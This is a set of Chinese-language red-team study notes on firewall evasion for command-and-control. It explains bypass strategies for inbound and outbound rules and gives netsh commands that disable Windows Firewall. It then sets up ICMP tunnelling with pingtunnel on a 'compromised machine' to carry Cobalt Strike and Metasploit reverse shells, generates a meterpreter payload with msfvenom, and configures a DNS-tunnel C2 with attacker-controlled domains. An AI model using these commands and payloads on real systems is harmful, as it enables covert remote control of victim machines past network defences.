ssh只能信息搜集,icmp可以上线c2,udp、tcp主要是用转发数据
防火墙策略-入站规则&出站规则&自定义
1、防火墙默认入站&出站策略
2、防火墙自定义入站&出站策略
内网域防火墙同步策略:
操作:组策略管理-域-创建GPO链接-防火墙设置
更新策略:强制&命令&重启
命令:gpupdate/force
限制端口分为:入站限制端口、出站限制端口、出入站均限制端口。
入站限制端口,出站未限制端口,使用反向连接。
出站限制端口,入站未限制端口,使用正向连接。
出入站均限制端口,使用端口绕过进行连接,建议配合反向连接。
限制协议分为:
入站限制、出站限制、出入均限制,限制又分为:单协议限制、多协议限制、全部限制。
入站限制:
单协议限制,使用其它协议或者反向连接绕过。(隧道技术)
多协议限制,使用未被限制的协议或者反向连接绕过。(隧道技术)
全部协议限制,使用放弃或者反向连接绕过,但正常不会将所以协议都封闭的。
出站限制:
参考上面使用正向连接绕过。
出入均限制:
单协议限制,使用其它协议绕过。(隧道技术)
多协议限制,使用未被限制的协议绕过。(隧道技术)
全部协议限制,使用放弃绕过,但正常不会将所以协议都封闭的。
单层目标机防火墙开启上线解决方案:
1、命令关闭防火墙
2、反向中转连接上线
3、利用隧道技术上线(规则决定)
单层跳板机防火墙开启上线解决方案:
1、命令关闭防火墙
2、正向监听连接上线
3、利用隧道技术上线(规则决定)
双层防火墙开启上线解决方案:
1、命令关闭防火墙
2、利用隧道技术上线(规则决定)
防火墙实验(适用场景):
1、内网无域环境下
2、内网有域环境下(强制策略同步)
Windows防火墙命令:
参考:https://www.cnblogs.com/tomtellyou/p/16300557.html
查看当前防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
开启防火墙:netsh advfirewall set allprofiles state on
恢复初始防火墙设置:netsh advfirewall reset
启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
如果设置为拒绝使用blockinbound,blockoutbound
学隧道前先搞清楚
0、不是有互联网才叫出网(能和其他计算机正常通讯就算出网)
1、C2常见上线采用的协议
2、常见的协议层出网判断
常用的隧道技术:
利用各种隧道技术,以网络防火墙允许的协议,
绕过网络防火墙的封锁,实现访问被封锁的目标网络
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
协议 判断命令
ICMP ping ip or domain
HTTP curl ip or domain
SSH ssh ip or domain
DNS nslookup domain
TCP telnet ip port
注意目标一定要是正常的目标
开防火墙入站只80&出站只放ICMP:
icmp可用于文件打印和共享
ICMP 通过 PING 命令访问远程计算机,建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中,从而穿过防火墙,防火墙一般不会屏蔽 PING 数据包,实现不受限制的访问。
应用场景:80为入口权限点,ICMP为上线突破口
适用场景:目标入站正向被拦截,出站有ICMP出网
排查出网协议:curl nslookup ping等命令
拿到服务器权限后,先ping判断icmp能出
https://github.com/esrrhs/pingtunnel
CS:
kali攻击机上起服务
./pingtunnel -typeserver
将本地6666流量转发到192.168.139.141:777上面(tcp流量封装成icmp转发)
沦陷机器执行
pingtunnel -typeclient -l:6666 -s 192.168.139.141 -t 192.168.139.141:7777 -tcp 1 -noprint 1 -nolog 1
监听器配置:
127.0.0.1 6666(后门生成)
192.168.139.141 7777(监听上线)
同理kali攻击机也加上
生成cs后门时,生成127.0.0.1:6666的后门
从攻击机上流量全是icmp流量
MSF:
生成后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1LPORT=3333 -f exe -o msf.exe
隧道:
pingtunnel -typeclient -l:3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1
监听器配置:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3344
run
开防火墙入站只80&出站只放DNS:
应用场景:80为入口权限点,DNS为上线突破口
适用场景:目标入站正向被拦截,出站有DNS出网
排查出网协议:curl nslookup ping等命令
CS:
-域名申请及配置
-监听器创建及配置
-后门绑定监听器生成
搞个域名绑定到公网服务器主机上去,在公网服务器起c2就行了
ns8.calm.com->c2.calm.com
ns9.calm.com->c2.calm.com
c2.calm.com->公网服务器ip
上线之后会发现cs页面比较慢,此时在cs命令行执行下面命令
checkin
mode dns-txt
MSF:
pro版本的reverse_dns模块
https://zhuanlan.zhihu.com/p/424351656
https://blog.csdn.net/vspiders/article/details/78999624
msf慢慢被淘汰了,因为cs有心跳包,msf是session很容易被杀